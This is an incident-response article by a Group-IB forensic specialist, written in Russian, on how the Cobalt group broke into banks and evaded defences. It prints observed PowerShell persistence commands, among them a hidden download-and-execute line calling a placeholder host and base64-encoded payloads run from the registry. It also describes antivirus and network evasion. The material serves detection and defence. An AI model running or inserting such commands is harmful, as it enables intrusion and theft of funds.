Преодоление группой Cobalt средств защиты

Веста Матвеева, главный специалист по компьютерной криминалистике Group-IB

В июне 2016 г. в России была зарегистрирована первая атака с участием группы Cobalt: у крупного сибирского банка попытались украсть деньги через банкоматы. Злоумышленники проникли в сеть банка, получили над ней контроль, скомпрометировав учетную запись администратора домена, добрались до сервера управления банкоматами, и вот тут-то служба ИБ банка и обнаружила часть используемых преступниками программ и подозрительные подключения к серверу, после чего полностью перекрыла доступ в Интернет всему банку. Это оказалось наилучшим решением, ведь группа Cobalt устраивает в его сети контролируемую бот-сеть, работу которой очень сложно отследить и еще сложнее остановить.

Уже на следующий день после атаки специалисты Group-IB приехали в центральный офис банка и начали искать первоисточник атаки, выяснять этапы ее развития, причины и последствия, анализировать вредоносные программы и восстанавливать хронологию событий. Компьютеры, которые были задействованы в атаке, отправили на экспертизу.

Криминалисты Group-IB сразу поняли, что столкнулись с новым подходом к целевым атакам на банки. И они не ошиблись. Июньский инцидент стал «тестированием» новой технологии атак, которую злоумышленники уже в июле начали применять в странах СНГ, Европы и Азии. Например, тогда из более чем трех десятков банкоматов тайваньского банка First Bank были похищены 2 млн долл. В октябре 2016 г. Group-IB выпустила отчет о деятельности группы Cobalt (group-ib.com). Сейчас, спустя год, эта группа продолжает атаковать банки, о чем ежемесячно оповещает команда Threat Intelligence Group-IB.

Сначала целью группы Cobalt было опустошение банкоматов: на них запускалась программа, напрямую отправляющая диспенсерам команды на выдачу денежных средств. Потом группа стала атаковать любые системы финансовых организаций, в которых имелись деньги (карточный процессинг, платежные системы, SWIFT и пр.). Получив доступ к такой системе, злоумышленники изучают алгоритм формирования платежных рейсов, и он повторяется «вручную». При этом сами сервисы или системы не взламываются, обеспечивается доступ в сеть организации, а далее – к соответствующим серверам систем.

Атаки группы Cobalt всегда осуществляются по одному и тому же шаблону. Общие принципы целевых атак на финансовые организации не меняются c 2013 г., когда группы Anunak, Corkow, Buhtrap, Lurk начали  проводить первые атаки на российские банки, – изменяются только инструменты. Этапы атак показаны на рисунке.

Группе Cobalt до сих пор удается проникать в сети крупных финансовых организаций, расположенных по всему миру, а потому имеет смысл остановиться на приемах этой группы, используемых для маскировки в сети и преодоления средств защиты.

Проникновение в сеть

Во всех исследованных нами случаях для проникновения в сеть организации-жертвы использовалась почта. С почтового сервера злоумышленников осуществляется массовая рассылка фишинговых сообщений с вложениями для сотрудников интересующей организации. Темы писем и имена вложений формулируются так, чтобы сотрудники захотели их открыть, например:

Рассылка проводится массово: в одной организации письма поступают, как правило, к 10–40 сотрудникам. При этом, по нашим данным, часть почтовых адресов принадлежит сотрудникам, уже не работающим в организации-жертве, то есть группа Cobalt использует неактуальные списки рассылки. Каждое письмо содержит вложение, которое, вне зависимости от его формата, должно загрузить в оперативную память компьютера «полезную нагрузку» – модуль ПО Cobalt Strike (cobaltstrike.com). Это ПО и дало название группе Cobalt.

Для того чтобы сделать возможной такую загрузку, злоумышленники опробовали несколько форматов вложений и писем, ведь их первоочередная задача – обойти почтовые фильтры, средства защиты и политики безопасности компании. Первое время в качестве вложения использовались  архивы с исполняемыми вложениями .exe и .scr. Пример письма:

Архив защищен паролем  для обхода антивирусной проверки, системы безопасности и почтовых фильтров. Однако при использовании политики безопасности, запрещающей пересылку зашифрованных архивов, такое почтовое сообщение может быть заблокировано. Поэтому злоумышленники придумали другую технику: они начали рассылать файлы .doc, содержащие эксплойты, как правило, для ПО Microsoft Office. Пример письма:

Такая схема  подразумевает наличие уязвимой версии ПО, поэтому организации могут себя обезопасить с помощью регулярного своевременного обновления всего используемого ими программного обеспечения. Конечно, остаются уязвимости «нулевого дня», но мы пока не встречались с их использованием в подобных атаках.

Для организаций, своевременно обновляющих свои системы и придерживающихся жестких политик безопасности, придуман еще один способ доставки по почте вредоносного кода – макрос  в документах Word. При открытии документа требуется нажать на кнопку «Включить содержимое», разрешающую запуск макроса.

Одной из задач злоумышленников при доставке почтовых сообщений является сокрытие отправителя. В случае простой подмены поля отправителя большинство почтовых серверов блокируют сообщения, поэтому группа Cobalt регистрировала домены, названия которых были схожи с реальными (например, diebold.pw), и настраивала свой почтовый сервер для организации рассылки от имени этих доменов. Пример письма:

Как только вложение запущено и вредоносный код отработал, в память загружается «полезная нагрузка» ПО Cobalt Strike. Это средство используется для проведения тестов на проникновение, а значит, известно и доступно не только кибермошенникам. Данное ПО предоставляет полный комплект функций для управления загруженным модулем, а соответственно, и зараженным компьютером – кейлоггер, снимки экрана, удаленный доступ по VNC, инжекты в процессы, обход системы безопасности UAC, средство mimikatz, используемое с целью компрометации реквизитов доступа для учетных записей ОС Windows, возможность сканирования открытых портов на компьютерах организации и др.

Выполнение в оперативной памяти

Модули ПО Cobalt Strike не хранятся в файловой системе, их исполняемый код можно найти только в оперативной памяти. По умолчанию выполнение кода осуществляется в контексте процесса rundll32.exe, но код может быть инжектирован в любой процесс, например с целью увеличения прав и числа привилегий. Кроме того, ПО Cobalt Strike дает возможность не выставлять фрагменту памяти, выделенному в контексте другого процесса, атрибуты RWX (Read, Write, Execute), по которым часто выявляется инжектированный код. Наконец, не все антивирусные средства умеют сканировать оперативную память.

Методы закрепления

Специалисты Group-IB участвовали в расследовании большого числа инцидентов, которые связывают с группой Cobalt, и каждый раз использовались разные способы закрепления. Задача закрепления – прописать в автозагрузку путь до исполняемого файла или программный код, запускаемый с помощью командного интерпретатора powershell.exe, для обращения к заданному в коде интернет-ресурсу с целью загрузки и запуска модуля ПО Cobalt Strike. Таким образом, сама «полезная нагрузка» в системе не хранится и каждый раз загружается заново. Дополнительный бонус данного способа закрепления состоит в том, что каждый раз может загружаться разная «полезная нагрузка».

Закрепление осуществляется не на всех зараженных компьютерах, а на нескольких, имеющих доступ в Интернет. В рамках реагирования были зафиксированы следующие способы автозагрузки: через службу, ключи автозагрузки, задачи ОС Windows, с помощью замены легитимных исполняемых файлов ПО, прописанного в автозагрузке, на исполняемый файл злоумышленников. Опасность задач ОС состоит в том, что их запуск может быть отложенным. Даже если сейчас сеть не заражена, через месяц может сработать соответствующая задача, и «полезная нагрузка» попадет на компьютеры организации.

Приведем примеры способов автозагрузки, обнаруженных нами.

1. Пример кода, запускаемого через командный интерпретатор powershell.exe для обращения к заданному интернет-ресурсу. Код может быть прописан для службы, задачи, как значение ключа автозагрузки.

”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”
-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://X.X.X.X:8000/az'))"

2. Пример кода, запускаемого через командный интерпретатор powershell.exe (программный код обрезан). Код может быть прописан для службы, задачи, как значение ключа автозагрузки.

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAVwBlADIALwBhAFMAQgBEAC8ARwB6ADcARgBxAG8AcABrAFcAKwBVAFoAdQBKAFIARQBpAHQAVABGAFEASQBCAGcAdwBpAE0A

3. В разделе \Microsoft\Windows\CurrentVersion\Run создается ключ «??», пример значения которого приведен ниже.

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -c "$val = (gp HKLM:SOFTWARE\'??').'??'; $d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($val)); iex $d"

Пример значения ключа HKLM\SOFTWARE\??:

JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAWABlADIALwBhAHkAQgBiAC8ATwAzAHcASwBhAHgAWABKAHQAawBwADQASgA1AGQAVwBpAHQAUQB4AGIAeABjAEQANQBXAEYASQBXAEIAUQBOAG4AcwBGAE0ARwBIAHUAbwBQAFEANgBRAGIAYgAvADcAUABU

Таким образом, в ключ автозагрузки подгружается программный код, закодированный по алгоритму base64, который выполняется при старте ОС.

4. В разделе \Microsoft\Windows\CurrentVersion\Run создается ключ с любым именем и значением, например, C:\Intel\cmd.exe, и указанная программа обращается к заданному в ней интернет-ресурсу для загрузки модуля ПО Cobalt Strike при старте ОС.

5. В разделе \Microsoft\Windows\CurrentVersion\Run выбирается ключ для запуска любого прописанного в автозагрузку ПО (например, Intel(R) USB 3.0 eXtensible Host Controller) с указанием пути до файла С:/Program Files (x86)/Intel/Intel(R) USB 3.0 eXtensible Host Controller Driver/Application/iusb3mon.exe. Этот файл подменяется на файл злоумышленников, а в результате подмененный файл, не имеющий цифровой подписи, как у соответствующего ПО, обращается к заданному в ней интернет-ресурсу для загрузки модуля Cobalt Strike.

Обход антивирусных средств

Обычно в момент проведения почтовой рассылки эксплойты и все исполняемые модули антивирусными средствами не детектируются (так происходило со всеми активно работающими группами). Загружаемые модули злоумышленники стараются пересобирать, чтобы обходить сигнатурный анализ антивирусных средств. ПО Cobalt Strike предоставляет возможность  использовать для этих целей фреймворк The Artifact Kit и даже модифицировать его под себя, так как он распространяется в исходных текстах.

Кроме того, автозагрузка производится посредством загрузки модуля ПО Cobalt Strike в оперативную память без сохранения в файловой системе. Дополнительными средствами обхода антивирусного ПО являются использование эксплойтов для повышения уровня прав и привилегий, обход UAC, инжектирование кода в доверенные процессы.

Обход сетевых средств защиты

Strike позволяет устанавливать два типа модулей – HTTP/HTTPS/DNS-модуль и SMB-модуль. Первый устанавливается в системы, имеющие доступ в Интернет, и обеспечивает взаимодействие с сервером управления с помощью протоколов HTTP/HTTPS/DNS. После открытия почтового сообщения, отправленного злоумышленниками, в систему загружается именно первый тип модулей. Второй тип может устанавливаться в системах, и не имеющих доступа в Интернет, поскольку им можно управлять через другие зараженные компьютеры посредством протокола SMB, который обычно используется внутри локальной сети. Таким образом, SMB-модуль управляется через другие зараженные компьютеры, на которых запущен HTTP/HTTPS/DNS-модуль, устанавливающий соединение с сервером управления.

Для обхода систем обнаружения и предотвращения вторжений, межсетевых экранов и прокси-серверов с сигнатурными правилами, нацеленными на обнаружение запросов определенного вида, модули ПО Cobalt Strike формируют профили взаимодействия по протоколу HTTP: задаются значения служебных заголовков протокола и параметров запросов, данные могут пересылаться как значение поля в заголовках, как значение отправляемого в составе URI параметра, как часть URI, пересылаться в теле HTTP-сообщения. При взаимодействии с сервером управления данные (исполняемые файлы, команды, результаты работы команд) шифруются. Для взаимодействия по протоколу HTTPS могут использоваться профили протокола HTTP с указанием SSL-сертификата. Для передачи данных по протоколу DNS могут использоваться DNS A, AAAA и txt-записи. При этом можно отдельно задавать интервалы взаимодействия между сервером управления и модулем на зараженном компьютере.

Модуль ПО Cobalt Strike может использовать несколько профилей и переключаться между способами передачи данных по команде с сервера управления без необходимости обновления самого модуля. Адреса серверов управления меняются с момента проникновения злоумышленников в сеть компании до момента хищения денежных средств, что позволяет избежать создания черных списков IP-адресов и доменных имен. Таким образом, внутри организации создается контролируемая бот-сеть с доступом к любому компьютеру, даже не имеющему доступ в Интернет.

Распространение по сети

Для запуска программ злоумышленников, в том числе модулей ПО Cobalt Strike, на других компьютерах сети используются методы, предоставляемые продуктами Microsoft при наличии соответствующих учетных записей:

  • создание службы на другом компьютере для запуска программного кода, запуск службы и ее удаление. В качестве командной строки прописывается программный код, передаваемый на вход командного интерпретатора powershell.exe (как в примерах 1 и 2, приведенных выше);
  • подключение к каталогу общего доступа (C$, ADMIN$) на другом компьютере, копирование в него модуля, создание службы и ее запуск для старта модуля, удаление службы;
  • подключение к другому компьютеру с помощью программы PsExec.exe (программа удаленного доступа входит в набор программ SysInternals компании Microsoft), копирование модуля и его запуск;
  • подключение к другому компьютеру по протоколу RDP, копирование модуля и его запуск.

Службы после создания удаляются, а удаленный доступ по протоколу RDP и с помощью PsExec является обычным для администраторов сети, поэтому следы запуска программ, которые впоследствии также удаляются и работают только в оперативной памяти, выявить своевременно сложно. Как правило, помогают журналы ОС. Более детальную информацию можно получить при использовании расширенного аудита безопасности и периодическом создании резервных копий этих журналов.

Использование стандартных средств

Сам комплекс Cobalt Strike является общедоступным, и можно загрузить его для изучения и создания правил детектирования в сети. Кроме того, для работы внутри организации группой Cobalt используются такие стандартные средства:

  • удаленное подключение по протоколу RDP (встроенная возможность ОС);
  • удаленное подключение с помощью PsЕxec;
  • удаленное подключение с помощью TeamViewer, что позволяет резервировать возможность удаленного доступа в случае потери контроля над модулями ПО Cobalt Strike;
  • сетевое сканирование с помощью программы SoftPerfect Network Scanner;
  • обеспечение защищенного подключения с помощью программы Plink.

В сети организации можно создать правила обнаружения данных средств. А обращения ПО TeamViewer можно контролировать с помощью правил на межсетевом экране, прокси-сервере и др.

Итак

После заражения одного компьютера в сети организации группа Cobalt начинает изучение используемых в ней программ, поиск серверов критически важной инфраструктуры и компьютеров, с которых к ним осуществляется доступ. Многие финансовые организации тратят большие деньги на ИБ и считают, что их изолированные подсети безопасны. Однако они кем-то управляются, а значит, практически всегда есть доступ в безопасную подсеть из небезопасной – пусть только с одного компьютера, пусть с уникальной учетной записью. Вот именно его и будут искать злоумышленники, которые на практике тратят от двух недель до 1,5 месяцев на получение доступа к критически важной инфраструктуре.

Таким образом, на выявление злоумышленников в сети, в среднем, есть месяц, и это очень много. А поскольку антивирусное ПО  в такой деятельности – не помощник, спасти может лишь знание того, как, кого и с помощью каких инструментов атакуют кибермошенники. Поэтому нужно своевременно обновлять ПО, изучать отчеты специалистов по информационной безопасности, предоставляющих индикаторы компрометации, и современные техники взлома

Тэги: 
Оцените материал:
Total votes: 12

Другие статьи
Поделиться:
 
 
Комментарии в Facebook
 

Вы сообщаете об ошибке в следующем тексте:
Нажмите кнопку «Сообщить об ошибке», чтобы отправить сообщение. Вы также можете добавить комментарий.